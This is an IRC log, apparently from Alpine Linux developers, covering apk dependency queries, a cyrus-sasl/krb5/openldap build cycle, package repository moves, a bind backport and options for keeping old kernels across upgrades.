2019-04-30 07:52:12 <fcolista> np
2019-04-30 07:54:50 <clandmeter> fcolista: i think you are looking for apk list -d?
2019-04-30 07:55:43 <fcolista> I didn't know there was another way
2019-04-30 07:57:46 <clandmeter> i think thats the only way to list them properly
2019-04-30 07:58:41 <fcolista> clandmeter, how would you use it? apk list -d |grep vala /
2019-04-30 07:58:43 <fcolista> ?
2019-04-30 07:59:46 <clandmeter> apk list -d so:*
2019-04-30 08:00:34 <fcolista> umh
2019-04-30 08:00:37 <fcolista> are you sure?
2019-04-30 08:00:50 <fcolista> apk list -d so:* | grep vala
2019-04-30 08:00:56 <fcolista> http://tpaste.us/Zgpg
2019-04-30 08:01:05 <fcolista> I don't see xfce4-vala
2019-04-30 08:02:59 <clandmeter> im sure of what?
2019-04-30 08:03:46 <fcolista> that apk search -r file.so is not correct
2019-04-30 08:05:16 <fcolista> according with  apk list -d so:* | grep vala there are no dependency against libvala-0.42.so
2019-04-30 08:05:56 <clandmeter> dont use the asterisk
2019-04-30 08:06:12 <clandmeter> the two are not the same
2019-04-30 08:06:26 <clandmeter> with list you specifically check for the so dep
2019-04-30 08:06:54 <fcolista> don't use the asterisk?
2019-04-30 08:06:56 <clandmeter> which is what abuild will resolve and link to
2019-04-30 08:07:11 <clandmeter> apk list -d so:libvala-0.42.so
2019-04-30 08:07:12 <fcolista> so how to use this? apk list -d so:*
2019-04-30 08:07:20 <fcolista> I did it
2019-04-30 08:07:21 <fcolista> apk list -d so:libvala-0.42.so
2019-04-30 08:07:29 <fcolista> no output
2019-04-30 08:07:40 <fcolista> so, no dependency of libvala
2019-04-30 08:07:51 <fcolista> which is fine with me...
2019-04-30 08:08:01 <clandmeter> try it with so:libc.musl-x86_64.so.1
2019-04-30 08:08:25 <fcolista> but apk search -r libvala-0.42.so returns xfce4-vala
2019-04-30 08:08:32 <fcolista> what's the difference?
2019-04-30 08:10:17 <clandmeter> i think somebody with apk knowledge should answer in more details.
2019-04-30 08:11:47 <north1> should pkgdesc have or not have a . on the end ?
2019-04-30 08:12:19 <clandmeter> i dont think its needed
2019-04-30 08:12:29 <ncopa> $ grep pkgdesc */APKBUILD | tpaste
2019-04-30 08:12:29 <ncopa> http://tpaste.us/lZBY
2019-04-30 08:12:33 <ncopa> looks like most does not
2019-04-30 08:13:16 <clandmeter> its like a subject line, which never has one?
2019-04-30 08:13:18 <north1> So it is allowed but not commonly used ?
2019-04-30 08:14:45 <ncopa> looks like we have 71 packages in main with that
2019-04-30 08:14:47 <clandmeter> i think it makes sense to keep it similar.
2019-04-30 08:15:39 <ncopa> i havent bothered create a rules about it
2019-04-30 08:15:51 <ncopa> dont want add rules unless needed
2019-04-30 08:16:20 <clandmeter> fcolista: xfce4-vala is special. it included a lot of -dev packages in depends which normally doesnt happen.
2019-04-30 08:16:54 <clandmeter> if soname has changed you need to search for so:xxx dependencies only.
2019-04-30 08:16:57 <TBB> and here I was thinking it's not worth it to learn a dead language like Vala
2019-04-30 08:18:14 <ncopa> i dont think xfce4-vala should be needed anymore
2019-04-30 08:18:42 <ncopa> i think the xfce packages has introspection and can do vala bindings themselves, without xfce4-vala
2019-04-30 08:21:15 <fcolista> fair enough
2019-04-30 08:21:21 <fcolista> I don't touch any pacakge then
2019-04-30 08:21:29 <fcolista> after vala upgrade
2019-04-30 08:21:56 <fcolista> ncopa, what's the difference between apk list -d and apk search -r ?
2019-04-30 08:49:53 <ncopa> fcolista: output format?
2019-04-30 08:50:08 <fcolista> only this?
2019-04-30 08:50:26 <ncopa> i think there is other difference too. apk search will try resolve deps, and if it fails it will not print anything
2019-04-30 08:50:50 <ncopa> while apk list will walk through the packages anyways
2019-04-30 08:51:17 <ncopa> this means that apk search will not find packages that has unresolved deps
2019-04-30 08:51:28 <ncopa> i don tthink it was intentional, but i think I have seen it
2019-04-30 08:51:36 <fcolista> ok so apk list is the most complete to check the real deps
2019-04-30 08:54:53 <ncopa> thats my impression yes
2019-04-30 08:58:50 <fcolista> perfect. Thx ncopa and clandmeter !
2019-04-30 09:09:51 <ncopa> clandmeter: commit 8965b00c7fa7c7caa0cf451551a63b8262abd5e6 introduces circular deps. openldap -> cyrus-sasl -> openldap
2019-04-30 09:10:47 <ncopa> what was the reason to add ldap support?
2019-04-30 09:11:39 <clandmeter> i looked elsewhere, probably fedora
2019-04-30 09:14:18 <clandmeter> i think it doesnt have openldap support at all?
2019-04-30 09:17:11 <clandmeter> ncopa: what makes you think it has openldap support? the makedep to openldap-dev?
2019-04-30 09:20:25 <ncopa> yes
2019-04-30 09:20:39 <clandmeter> can be removed
2019-04-30 09:20:53 <clandmeter> its not linked to openldap
2019-04-30 09:21:04 <ncopa> ok. thanks
2019-04-30 09:21:25 <clandmeter> i wonder how you detect a circular dep without it beeing linked
2019-04-30 09:23:14 <ncopa> its build time circular dep
2019-04-30 09:23:24 <clandmeter> ah ok
2019-04-30 09:23:28 <clandmeter> you want me to remove it?
2019-04-30 09:23:29 <ncopa> >>> openldap: Analyzing dependencies...
2019-04-30 09:23:29 <ncopa> ERROR: unsatisfiable constraints:
2019-04-30 09:23:29 <ncopa>   cyrus-sasl-dev (missing):
2019-04-30 09:23:29 <ncopa>     required by: .makedepends-openldap-0[cyrus-sasl-dev]
2019-04-30 09:23:35 <clandmeter> or you have it in queue?
2019-04-30 09:23:43 <ncopa> i can fix it
2019-04-30 09:23:49 <clandmeter> okidoki
2019-04-30 09:24:41 <ncopa> thanks
2019-04-30 09:42:07 <nmeum> what's our current policy on optional dependency? iirc in the past these were not supposed to be added to $depends, is that still the case?
2019-04-30 10:00:11 <ncopa> yes, we dont really have support for "optional dependencies" or "recommends"
2019-04-30 10:00:45 <ncopa> the depends is what is required for it to run
2019-04-30 10:15:43 <clandmeter> ncopa: https://cloud.drone.io/alpinelinux/alpine-drone-ci/9/9/2
2019-04-30 10:16:16 <clandmeter> are we missing curl on armv7?
2019-04-30 10:18:06 <ncopa> apparently so
2019-04-30 10:18:39 <ncopa> tmhoang:  i have problems with curl on s390x:
2019-04-30 10:18:41 <ncopa> Warning: dict server unexpectedly alive
2019-04-30 10:18:42 <ncopa> Warning: smb server unexpectedly alive
2019-04-30 10:18:42 <ncopa> TESTDONE: 972 tests out of 975 reported OK: 99%
2019-04-30 10:18:42 <ncopa> TESTFAIL: These test cases failed: 587 588 644
2019-04-30 10:19:03 <ncopa> clandmeter: i will check armv7 builder
2019-04-30 10:19:28 <clandmeter> thx
2019-04-30 10:35:04 <ncopa> hm
2019-04-30 10:35:14 <ncopa> we still have circular dep with cyrus-sasl
2019-04-30 10:35:35 <ncopa> cyrus-sasl -> krb5 -> openldap -> cyrus-sasl
2019-04-30 10:37:00 <ncopa> introduced with https://git.alpinelinux.org/aports/commit/main/cyrus-sasl?id=8965b00c7fa7c7caa0cf451551a63b8262abd5e6
2019-04-30 10:37:12 <ncopa> before that cyrus-sasl was linked against heimdal
2019-04-30 10:38:25 <clandmeter> yes as i mentioned, i looked at what others used. probably fedora.
2019-04-30 10:40:47 <ncopa> 	
2019-04-30 10:40:48 <ncopa> %if ! %{bootstrap_cyrus_sasl}
2019-04-30 10:40:48 <ncopa> BuildRequires: openldap-devel
2019-04-30 10:40:48 <ncopa> %endif
2019-04-30 10:40:54 <ncopa> they bootstrap it
2019-04-30 10:40:55 <ncopa> hm
2019-04-30 10:41:14 <ncopa> i think we may need to add support for bootstraping things
2019-04-30 10:41:37 <ncopa> options="stage1" or similar
2019-04-30 10:41:58 <ncopa> which indicates which pakcages needs to be bootstrapped in two stages
2019-04-30 10:42:16 <ncopa> so we can rebuild afterwards
2019-04-30 10:42:21 <clandmeter> and it would skip it on the first?
2019-04-30 10:42:48 <ncopa> we coudl build those with BOOTSTRAP=1 first
2019-04-30 10:42:58 <ncopa> and then rebuild them without on a second run
2019-04-30 10:43:08 <clandmeter> ok
2019-04-30 10:43:15 <clandmeter> thats only when we bootstrap new builder?
2019-04-30 10:43:22 <ncopa> what i want avoid is to reubild the entire world twice
2019-04-30 10:43:38 <ncopa> yes, and when we bootstrap new arch
2019-04-30 10:43:45 <clandmeter> right
2019-04-30 10:43:56 <ncopa> we have already a couple of packages that needs to handled manually
2019-04-30 10:44:00 <ncopa> ghc, go
2019-04-30 10:44:03 <clandmeter> nod
2019-04-30 10:44:06 <ncopa> rust
2019-04-30 10:44:10 <ncopa> crystal
2019-04-30 10:44:14 <_ikke_> ghc
2019-04-30 10:44:26 <clandmeter> _ikke_: thats a repeat ;-)
2019-04-30 10:44:36 <_ikke_> right,
2019-04-30 10:44:56 <_ikke_> I somehow thought he said gcc :)
2019-04-30 10:45:13 <clandmeter> its too early for alcohol
2019-04-30 10:45:14 <ncopa> unfortunately i dont think that it is good time right now
2019-04-30 10:45:16 <clandmeter> must be somethign else
2019-04-30 10:45:42 <ncopa> i could manually deal with cyrus-sasl for this time, or switch back to heimdal
2019-04-30 10:45:50 <ncopa> or disable ldap for krb5
2019-04-30 10:46:02 <ncopa> or disable cyrus-sasl for ldap
2019-04-30 10:46:18 <ncopa> or disable krb for cyrus-sasl
2019-04-30 10:46:45 <clandmeter> sound like a thing to do after 3.10
2019-04-30 10:46:52 <clandmeter> probably include proper bootstrap docs too
2019-04-30 10:47:05 <ncopa> i will still need to build 3.10 somehow
2019-04-30 10:47:33 <clandmeter> yes, i mean hacking abuild
2019-04-30 10:47:33 <ncopa> the problem with manual work is that it is time-spent-on-manual-work*number of arches/builders
2019-04-30 10:47:54 <_ikke_> It doesn't scale
2019-04-30 10:48:37 <ncopa> i wonder if anyone use krb with cyrus-sasl at all
2019-04-30 11:52:20 <tmhoang> ncopa: sorry for delay response. Are those aports/main/curl test failures ? If yes, okay I'm looking in it.
2019-04-30 11:53:05 <ncopa> yes, it is curl test failures
2019-04-30 12:02:43 <tmhoang> why clandmeter always breaks stuffs :D
2019-04-30 12:05:00 <_ikke_> :D
2019-04-30 12:22:34 <fcolista> why sngt_client (which is in main) depends from a package in community (ortp-dev) ?
2019-04-30 12:24:43 <fcolista> ncopa, ortp upgrade to 1.0.2 breaks ABI, and sngtc_client is the only dependency.
2019-04-30 12:25:07 <fcolista> I would move sngtc_client to community
2019-04-30 12:26:57 <fcolista> last "rebuild" has been done in 2015 (against ortp-0.25)
2019-04-30 12:28:44 <ncopa> sounds like a bug
2019-04-30 12:29:30 <ncopa> freeswitch depends on sngtc_client
2019-04-30 12:30:02 <ncopa> we need to either move freeswtich to community or move ortp back to main
2019-04-30 12:30:44 <ncopa> or see if we can build freeswitch without sngtc_client
2019-04-30 12:31:22 <fcolista> if we move ortp to main, we need also to move bctoolbox from testing to main and mbedtls from community to main
2019-04-30 12:32:05 <tmhoang> move everything to main. problem solved.
2019-04-30 12:32:25 <fcolista> ...tbh, I don't like this too much
2019-04-30 12:33:06 <tmhoang> yeah me too. I'm kissing somebody's body parts
2019-04-30 12:34:46 <tmhoang> algitbot> abuild:master |tcely| abuild: default_dbg: do not trigger trap with test failure | http://dup.pw/abuild/acf1fa55
2019-04-30 12:35:01 <tmhoang> does this mean, we pass the build even if tests fail ?
2019-04-30 12:37:14 <tmhoang> seems not ?
2019-04-30 12:38:50 <tmhoang> that's for dbg, hmmm
2019-04-30 12:43:19 <tmhoang> ncopa: curl s390x seems to be okay at current version 7.64.1-r2. TESTDONE: 975 tests out of 975 reported OK: 100%
2019-04-30 12:46:11 <ncopa> sigh bind 9.12.4_p1 introduces python dependency
2019-04-30 12:51:05 <ncopa> fcolista: why we need move bctoolbox and mbedtls?
2019-04-30 12:51:15 <ncopa> ortp depends on those now?
2019-04-30 12:51:19 <fcolista> yes
2019-04-30 12:51:35 <ncopa> alternatively we move freeswitch to community
2019-04-30 12:51:56 <ncopa> or try build it without sngtc_client
2019-04-30 12:56:34 <ncopa> https://bugs.alpinelinux.org/issues/721
2019-04-30 12:57:49 <fcolista> umh..seems we can't disable it..
2019-04-30 13:59:13 <fcolista> ncopa, I'm working to have FS upgraded and moved to commmunity
2019-04-30 14:44:45 <SpaceToast> so I may have found a race condition in apk's cache handling; who do I talk to? (e.g it's possible that I'm "holding it wrong" and so on)
2019-04-30 14:45:18 <_ikke_> fabled mostly
2019-04-30 14:48:24 <Cogitri> How come we don't have versioned initramfs/vmlinuz? The new kernel panics for me on boot :c
2019-04-30 14:50:14 <clandmeter> you mean keep an older version of kernel?
2019-04-30 14:51:22 <Cogitri> Yup
2019-04-30 14:51:40 <clandmeter> its a feature we do not (yet) have
2019-04-30 14:51:55 <clandmeter> and it can be...
2019-04-30 14:52:07 <tmhoang> I think part of what Cogitri wanted to say is /boot/vmlinuz-v1, /boot/vmlinuz-v2, so on with initramfs so he can have backup kernel when upgrades fail
2019-04-30 14:52:19 <ncopa> we used to work around it by having 2 different kernels, linux-hardened and linux-vanilla
2019-04-30 14:52:54 <SpaceToast> we could version out kernels, e.g linux-lts, linux-vanilla and linux-x.y[y]
2019-04-30 14:53:10 <ncopa> tbh, i havent really figured out how to do the versioned kernels properly, and it has not been an issue until now
2019-04-30 14:53:13 <SpaceToast> but I'm not sure I like that
2019-04-30 14:53:29 <ncopa> Cogitri: what was the last working version of the kernel?
2019-04-30 14:53:29 <clandmeter> it has been an issue for me multiple times
2019-04-30 14:53:41 <tmhoang> me three
2019-04-30 14:53:47 <ncopa> :)
2019-04-30 14:53:49 <Cogitri> ncopa: 4.19.37-r0 I think
2019-04-30 14:53:55 <clandmeter> cause it will remove kernel modules of the running kernel
2019-04-30 14:54:02 <tmhoang> I guess we have to touch mkinitfs at least to have support for it
2019-04-30 14:54:05 <clandmeter> and i was not ready to reboot yet...
2019-04-30 14:54:15 <Cogitri> The lastest 4.19.x revbump definitely broke it for me
2019-04-30 14:54:19 <Cogitri> (Maybe be due to ZFS oddness though?)
2019-04-30 14:54:33 <SpaceToast> you can just load all the modules you expect to be using until the next reboot before upgrading
2019-04-30 14:54:34 <clandmeter> zfs oddness?
2019-04-30 14:54:40 <clandmeter> thats out of tree right?
2019-04-30 14:54:53 <north1> Void uses the preserve keyword on the template which tells xbps to not remove the files when upgrading
2019-04-30 14:55:00 <SpaceToast> modules being removed from the rootfs just means you can't load them anymore, they stick around in memory
2019-04-30 14:55:26 <clandmeter> that doesnt work if they are not loaded yet.
2019-04-30 14:55:59 <ncopa> Cogitri: what machine was it? Lenovo Ideapad?
2019-04-30 14:56:56 <Cogitri> HP Specte X360
2019-04-30 14:57:51 <Cogitri> Oh well, downloading ZFS sysrescueCD now
2019-04-30 15:01:53 <ncopa> alpine-extended should work too
2019-04-30 15:03:18 <Cogitri> Hum, apk upgrade ran the upgrade again, so maybe something went wrong during the upgrade
2019-04-30 15:03:27 <ncopa> the only thing changes in last release is ceph related module and added a driver for Realtek RTL8822BE
2019-04-30 15:03:37 <ncopa> maybe disk issue?
2019-04-30 15:03:40 <ncopa> or zfs issue?
2019-04-30 15:03:46 <ncopa> disk full?
2019-04-30 15:06:20 <Cogitri> Seems like it just was a bad upgrade
2019-04-30 15:06:25 <Cogitri> Ran it again and it works now
2019-04-30 15:07:52 <ncopa> i upgraded my laptop. and it works
2019-04-30 15:24:08 <Cogitri> Maybe I was too quick to press the power button then :)
2019-04-30 15:24:40 <Cogitri> Was restarting to test GDM, I almost have a working GNOME session now
2019-04-30 15:25:27 <yjftsjthsd> Could we just add an update step that moves the previous kernel to vmlinuz.old/initramfs.old? Or does that break with modules?
2019-04-30 15:25:51 <yjftsjthsd> Feels like too much work, but could also extend apk to say "keep one previous version of this package"
2019-04-30 15:27:08 <Cogitri> One thing to keep in mind: We'd also have to retain modules such as ZFS
2019-04-30 15:29:31 <mps> that is a thing about which I also thought but didn't found good solution
2019-04-30 15:30:42 <yjftsjthsd> /lib/modules/old ? You have to tell the kernel to look there, then, but IIRC it already checks versions so you could have it look in 2 places
2019-04-30 15:31:38 <mps> for now, I copy one of the previous version and name it as {vmlinuz,initramfs}-4.19.xx and copy /lib/modules/4.19.xx to tmp and after kernel upgrade move it back
2019-04-30 15:32:21 <mps> and add line to extlinux.conf or grub.conf for that old kernel
2019-04-30 15:32:26 <yjftsjthsd> Heh. That's about what people suggest to do on Arch for the same problem
2019-04-30 15:33:00 <mps> from time to time I repeat this, but not for every kernel upgrade
2019-04-30 15:33:10 <yjftsjthsd> (with the real issue on Arch being that it removes old modules on install so if you update and then plug in a new device you're stuck; dunno if that happens on Alpine)
2019-04-30 15:33:30 <mps> if something goes wrong with upgrade I can boot old one and fix new
2019-04-30 15:33:34 <Cogitri> It's kind of dirty though, Void's approach to this is _so_ much better IMHO
2019-04-30 15:34:08 <yjftsjthsd> Doesn't Void keep literally every kernel forever unless you manually invoke vkpurge or whatever it's called?
2019-04-30 15:34:22 <mps> Cogitri: didn't know how void does it, and I will look at it for sure, thanks for hint
2019-04-30 15:35:43 <yjftsjthsd> Yeah, Void just keep everything by default:
2019-04-30 15:35:52 <yjftsjthsd> $ ls /boot/vml* | wc -l
2019-04-30 15:35:55 <yjftsjthsd> 31
2019-04-30 15:36:11 <yjftsjthsd> And 31 is with me having pruned in recent memory
2019-04-30 15:36:52 <mps> this doesn't sound good for system which state 'small, simple, secure', small is keyword here
2019-04-30 15:37:31 <mps> s/state/states/
2019-04-30 15:37:31 <alpine-meetbot> mps meant to say: this doesn't sound good for system which states 'small, simple, secure', small is keyword here
2019-04-30 15:37:45 <Cogitri> mps: We could call vkpurge (or similar) during post-install if we really want to
2019-04-30 15:38:21 <Cogitri> Just keeping like 2-3 kernels would already be enough
2019-04-30 15:38:24 <mps> I'm not talking about void but about alpine
2019-04-30 15:38:52 <yjftsjthsd> Oh, better suggestion for the "keep n-1" idea: On boot or shutdown, save the current kernel+modules to -old; that way updating twice and rebooting can't screw you over
2019-04-30 15:38:57 <Cogitri> But keeping 80MB worth of kernel for not having to have a sysrescueCD handy in case something goes wrong sounds very worth it to me
2019-04-30 15:39:09 <Cogitri> mps: So am I
2019-04-30 15:39:33 <Cogitri> That could work too, but sounds a bit fragile to me
2019-04-30 15:39:49 <mps> yjftsjthsd: rescue cd/flashdisk is a must, anyway
2019-04-30 15:41:16 <Cogitri> mps: I think you meant to ping me. And IMO no, one shouldn't have to keep a recovery medium handy just to have a working system
2019-04-30 15:42:02 <mps> Cogitri: no, I meant yjftsjthsd
2019-04-30 15:42:45 <Cogitri> Oh, okie :)
2019-04-30 15:43:25 <mps> but, if you ask I think everyone must/should have rescue media ready and always
2019-04-30 15:46:41 <SpaceToast> well it depends on who you are, imo
2019-04-30 15:46:49 <SpaceToast> e.g if you're an IT professional, you probably should
2019-04-30 15:46:59 <SpaceToast> but I don't think your grandma needs to do that, for example :)
2019-04-30 15:48:12 <Cogitri> Well, I don't think Alpine targets that user group
2019-04-30 15:48:31 <Cogitri> Yet I still feel like we should be user-friendly if we can
2019-04-30 15:48:35 <yjftsjthsd> I suppose we all *should* have rescue media on hand. But I would prefer if my systems could self-rescue
2019-04-30 15:49:00 <yjftsjthsd> Could make it optional? Stick KEEP_LAST_KERNEL=1 in a config file?
2019-04-30 15:49:07 <mps> Cogitri: I thought so, but with your work I'm not sure anymore :)
2019-04-30 15:49:12 <Cogitri> 
ACTION nods

2019-04-30 15:49:35 <yjftsjthsd> Then if you really wanna save the space disable it but if you want to be able to roll-back enable it
2019-04-30 15:51:46 <mps> maybe versioned vmlinuz and initramfs could be solution, plus command which is name something like 'purge-old-kernels'
2019-04-30 15:52:00 <SpaceToast> +1 for optional
2019-04-30 15:54:18 <yjftsjthsd> It would be reasonably elegant to have an option... "RETAIN_KERNELS=3" or whatever, that automatically invokes purge-old-kernels. Automatically call on update. If you don't want it, set it to 0.
2019-04-30 15:54:37 <Cogitri> Yup, sounds good to me
2019-04-30 15:54:41 <Cogitri> mps: Heh, you've got a point there :P
2019-04-30 15:55:10 <mps> I have local module which I build with every kernel upgrade and noticed that on upgrade this is preserved in /lib/modules
2019-04-30 15:56:20 <yjftsjthsd> One small flaw: If I update multiple times before reboot, there's a chance that I wind up with *all* working kernels rotated out. I'm not sure if that's worth addressing or ot
2019-04-30 15:56:24 <yjftsjthsd> /ot/not
2019-04-30 15:56:25 <mps> so, probably upgrade have some knowledge to not delete this module and probably could be extended to not delete any of them
2019-04-30 15:56:53 <yjftsjthsd> Is it excluding your module or just only including files listed in the package?
2019-04-30 15:57:01 <ncopa> tcely: I wonder if it makes sense to split dnssec-utils and py3-bind as subpackages
2019-04-30 15:57:31 <ncopa> tcely: i need to backport bind to 3.9 and older, but am not sure what to do with the newly introduced python stuff
2019-04-30 15:57:59 <ncopa> i think it may make sense to split the python tools into its own subpackage
2019-04-30 15:58:05 <mps> yjftsjthsd: didn't looked how it does this, just noticed it, because I from time to time remove old modules manually
2019-04-30 15:59:02 <yjftsjthsd> That's fair:) I have no clue how it works, just pointing out one way that it could work that would produce the observed effect
2019-04-30 15:59:03 <ncopa> re old kernels and modules
2019-04-30 15:59:28 <tcely> I don't think py3-bind makes sense, but maybe I'm just not seeing it.
2019-04-30 16:00:06 <ncopa> the easy workaround would be to rename kernel from pre-install, and rename back in post-install, to prevent apk-tools to delete it
2019-04-30 16:00:52 <mps> then you need versioned vmlinuz and initramfs
2019-04-30 16:00:55 <ncopa> eg mv /lib/modules/4.19.y-vanilla /lib/modules/4.19.y-vanilla.backup
2019-04-30 16:00:58 <ncopa> that too
2019-04-30 16:01:09 <ncopa> unless we copy them as vmlinuz-old
2019-04-30 16:01:11 <ncopa> or similar
2019-04-30 16:01:29 <ncopa> vmlinux and initramfs are easier to deal with
2019-04-30 16:01:30 <mps> also -old sounds fine
2019-04-30 16:01:44 <ncopa> we probably dont want *move* kernel modules
2019-04-30 16:01:50 <yjftsjthsd> -old is good if you only keep n-1
2019-04-30 16:02:00 <ncopa> incase power cycle happens during upgrade
2019-04-30 16:02:16 <ncopa> so we will likely want to copy
2019-04-30 16:02:19 <ncopa> which is slow...
2019-04-30 16:02:23 <yjftsjthsd> good point
2019-04-30 16:02:32 <yjftsjthsd> too bad ext4 doesn't have cow
2019-04-30 16:02:37 <ncopa> i am thinking simple solution here
2019-04-30 16:02:45 <mps> copy is slower but more secure, I think
2019-04-30 16:02:47 <ncopa> only keep n-1
2019-04-30 16:03:07 <ncopa> well, you get problems on low diskspace situations...
2019-04-30 16:03:14 <yjftsjthsd> Yeah, the simple solution is copy kernel+initrd+modules to -old
2019-04-30 16:03:16 <ncopa> which i guess you get anyway
2019-04-30 16:03:27 <ncopa> you cannot copy modules to -old
2019-04-30 16:03:27 <yjftsjthsd> Again, it should be optional anyways
2019-04-30 16:03:32 <yjftsjthsd> why not?
2019-04-30 16:03:56 <ncopa> beckase kernel will look in /lib/modules/4.19.36-vanilla
2019-04-30 16:04:05 <ncopa> not in /lib/modules/4.19.36-vanilla-old
2019-04-30 16:04:18 <ncopa> the path is compiled into vmlinuz
2019-04-30 16:04:26 <yjftsjthsd> Oh, darn; thought that was tunable
2019-04-30 16:04:42 <ncopa> so it would need to copy modules to -old and rename it back during post-insstall
2019-04-30 16:04:51 <ncopa> but thats hackish
2019-04-30 16:05:09 <ncopa> so it woudl be better to mark files or paths in apk config or apk metadata
2019-04-30 16:05:21 <ncopa> and tell apk to keep instead of delete
2019-04-30 16:05:59 <ncopa> but then you'll have to clean up manually once in a while
2019-04-30 16:06:12 <Cogitri> Yup, that'd be the less hackish
2019-04-30 16:06:13 <ncopa> because apk will not longer keep track of what needs to be cleaned up
2019-04-30 16:06:34 <yjftsjthsd> apk can do post-install hooks, right? So "just" have a post-update hook that invokes clean-old-kernels or whatever.
2019-04-30 16:06:49 <yjftsjthsd> And have that look at a config file that says how many to keep
2019-04-30 16:06:54 <ncopa> yes, but its still hackish
2019-04-30 16:06:57 <yjftsjthsd> (which could be 0)
2019-04-30 16:07:12 <ncopa> the files will not be in the apk database
2019-04-30 16:07:37 <ncopa> unless we add a feature to apk to transfer ownership to new package
2019-04-30 16:08:00 <ncopa> apk add --som-magic-option linux-vanilla-old linux-vanilla
2019-04-30 16:08:07 <yjftsjthsd> We could still write clean-old-kernels.sh to take the n last kernels from the filesystem
2019-04-30 16:08:30 <yjftsjthsd> risks messing with manually-installed kernels, so have to match name pattern exactly
2019-04-30 16:08:39 <ncopa> which would tell apk to instead of delete files, transfer the ownership to linu-vanilla-old
2019-04-30 16:09:06 <yjftsjthsd> Now we're edging into "install more than one version of a package" territory
2019-04-30 16:09:08 <ncopa> with transfer of ownership in apk we would not mess with manually installed kernels
2019-04-30 16:09:22 <yjftsjthsd> Which isn't *bad* but it's probably more involved
2019-04-30 16:09:27 <north1> ncopa: that is done on void with preserve=
2019-04-30 16:09:33 <ncopa> we already have --virtual
2019-04-30 16:10:06 <ncopa> north1: will perserve= transfer ownership to other package? or will it simply tell package manager to not delete
2019-04-30 16:10:27 <north1> ncopa: tells it to not delete on upgrade
2019-04-30 16:10:50 <ncopa> which means you lose the file list of what was managed
2019-04-30 16:11:00 <north1> Yes
2019-04-30 16:11:38 <ncopa> with the --transfer-old-to-virtual feature apk would still keep track of the files
2019-04-30 16:11:50 <ncopa> so apk del linux-vanilla-old would purge the old
2019-04-30 16:12:07 <doggone> instead of saving the last previously installed kernel, you could keep the currently booted kernel
2019-04-30 16:12:19 <doggone> so you know you always have a working one as backup
2019-04-30 16:12:28 <north1> We just have vkpurge, it is raw but it works
2019-04-30 16:12:40 <tcely> ncopa: re bind backporting: It's incredibly hackish, but I'd almost rather install 9.11 from the 9.12.4_p1 package than deal with how they stuck the change to python tools into a patch release.
2019-04-30 16:13:05 <ncopa> tcely: i dont think we can downgrade in stable branches
2019-04-30 16:13:26 <ncopa> but yeah, introduce python dependency in patch release was very inconvenient
2019-04-30 16:13:29 <tcely> yes, I'm aware, we'd have to "upgrade" the package and ship the older daemon.
2019-04-30 16:14:07 <ncopa> tcely: imthinking that we could ship the introduced tools in a subpackage for the stable branches
2019-04-30 16:14:23 <ncopa> so users will not notice that there were new tools
2019-04-30 16:14:48 <ncopa> re kernel upgrades
2019-04-30 16:14:56 <tcely> ncopa: my problem with that is, I'm not at all confident which tools the next version of the bind daemon is going  to expect to be there
2019-04-30 16:15:28 <ncopa> tcely: we should probably send email to the ml explaining that this was not popular
2019-04-30 16:15:43 <ncopa> i complained in #bind channel
2019-04-30 16:15:52 <ncopa> but those people can do nothing i guess
2019-04-30 16:16:12 <ncopa> re kernel upgrades, and transfer ownership
2019-04-30 16:16:21 <tcely> Having talked to a few of the ISC folks I'm not conviced many there will do anything either.
2019-04-30 16:16:28 <ncopa> if we go that route, we will likely want to have versioned vmlinuz
2019-04-30 16:16:34 <ncopa> vmlinuz-$pkgver
2019-04-30 16:17:26 <ncopa> and either point a symlink named vmlinuz, or depend on bootloader config regeneration on upgrades
2019-04-30 16:17:49 <tcely> that is the approach I've seen used in most linux distros
2019-04-30 16:17:55 <ncopa> yes
2019-04-30 16:18:48 <ncopa> tcely: re bind i think we can also simply just push update with new python dep introduced and when users complain we redirect them to ISC
2019-04-30 16:19:23 <tcely> heh. I'd rather not push an update and tell them to see ISC for a more useful patch
2019-04-30 16:20:38 <yjftsjthsd> re: kernels - if symlink works, I'd vastly prefer that, because that leaves us flexible on bootloader. Rather than breaking if someone replaces syslinux with grub or something. Might not work if you put /boot on FAT for EFI though?
2019-04-30 16:20:55 <ncopa> we have 3 options imo: 1) push sec update and deal with potentially angry users (redirect them to ISC) 2) add the introduced tools(3) in a new subpackage. users will not notice. 3) backport patches
2019-04-30 16:21:20 <ncopa> yjftsjthsd: problem with symlink is FAT and that UEFI requires FAT
2019-04-30 16:21:34 <yjftsjthsd> yep
2019-04-30 16:21:35 <ncopa> i would have preferred symlink
2019-04-30 16:22:24 <yjftsjthsd> Does Alpine officially only support 1 bootloader? I suppose hooks might suffice; just write a new update-kernel script per-bootloader.
2019-04-30 16:22:25 <ncopa> we will not solve the kernel upgrade problem today
2019-04-30 16:22:36 <ncopa> we support multiple bootloaders
2019-04-30 16:22:49 <ncopa> extlinux, u-boot, grub zipl
2019-04-30 16:22:59 <tcely> for FAT, there is always chain loading as an option ;-)
2019-04-30 16:23:21 <yjftsjthsd> Ew, but yes.
2019-04-30 16:23:23 <ncopa> need to go now. laters
2019-04-30 16:23:46 <yjftsjthsd> I gotta go AFK too, actually. Ta.
2019-04-30 17:32:41 <_ikke_> This one is interesting: https://github.com/alpinelinux/aports/pull/7432 On travis all checks pass, on drone.io some tests fail
2019-04-30 17:40:41 <north1> Yes they all pass locally
2019-04-30 17:40:57 <north1> But oh well I can take a look at it later
2019-04-30 17:42:39 <clandmeter> im restarting ci
2019-04-30 17:42:45 <clandmeter> see if the issues are random
2019-04-30 17:43:18 <north1> Thank you
2019-04-30 17:44:47 <_ikke_> Nope
2019-04-30 17:44:55 <_ikke_> x86(_64) already failed
2019-04-30 17:45:06 <clandmeter> x86 is random
2019-04-30 17:45:22 <clandmeter> first was 6 fails now its 4
2019-04-30 17:45:52 <_ikke_> and 10 on x86_64
2019-04-30 17:46:01 <clandmeter> armhf was 8 now is 5
2019-04-30 17:58:59 <tcely> _ikke_: That S-waiting-for-review label is not quite clear enough on its own. It wasn't clear that it was waiting on the maintainer to review.
2019-04-30 17:59:17 <tcely> Also, why are all these labels prefixed with certain letters?
2019-04-30 17:59:30 <_ikke_> Different roles of labels
2019-04-30 18:00:26 <_ikke_> r = repository, s = status, a = aports/action?
2019-04-30 18:04:38 <north1> tcely: they are explained in the wiki
2019-04-30 18:09:28 <tcely> north1: show me where, I have not found it
2019-04-30 18:20:57 <_ikke_> tcely: the label description says: "Waiting for the package maintainer to review a change"
2019-04-30 18:21:04 <_ikke_> for S-waiting-for-review
2019-04-30 18:21:38 <tcely> _ikke_: yes, that is what I found too. Without also reading the description, it wasn't clear that the review should be from the maintainer.
2019-04-30 18:22:01 <_ikke_> That's what the label description is for
